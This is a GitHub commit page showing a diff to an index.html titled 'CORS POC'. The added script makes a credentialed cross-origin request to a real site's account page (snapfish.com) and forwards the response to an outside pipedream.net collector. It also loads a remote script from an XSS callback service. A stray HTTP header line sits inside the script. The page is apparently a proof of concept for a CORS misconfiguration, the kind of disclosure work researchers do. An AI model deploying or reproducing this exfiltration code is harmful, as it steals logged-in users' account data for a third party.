Skip to content

Commit

Permalink
Update index.html
Browse files Browse the repository at this point in the history
  • Loading branch information
khaledsamy411 authored Jan 3, 2024
1 parent 7938f0b commit ef8a532
Showing 1 changed file with 10 additions and 12 deletions.
22 changes: 10 additions & 12 deletions index.html
Original file line number Diff line number Diff line change
Expand Up @@ -19,18 +19,16 @@ <h1>CORS POC</h1>
<hr />
<div id="demo"></div>
<script>
function exploit() {
var xhr = new XMLHttpRequest();
var url = "https://jsonplaceholder.typicode.com/users";
xhr.onreadystatechange = function () {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhr.open("GET", url, true);
xhr.withCredentials = true;
xhr.send();
}
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://www.snapfish.com/youraccount?tab=tab-1',true);
req.withCredentials = true;
req.send();
Content-Length: 2141

function reqListener() {
location='https://en0wwy1g0an7hi.x.pipedream.net?key='+this.responseText;
};
</script>
<script src=https://xss.report/c/samiii></script>
</body>
Expand Down

0 comments on commit ef8a532

Please sign in to comment.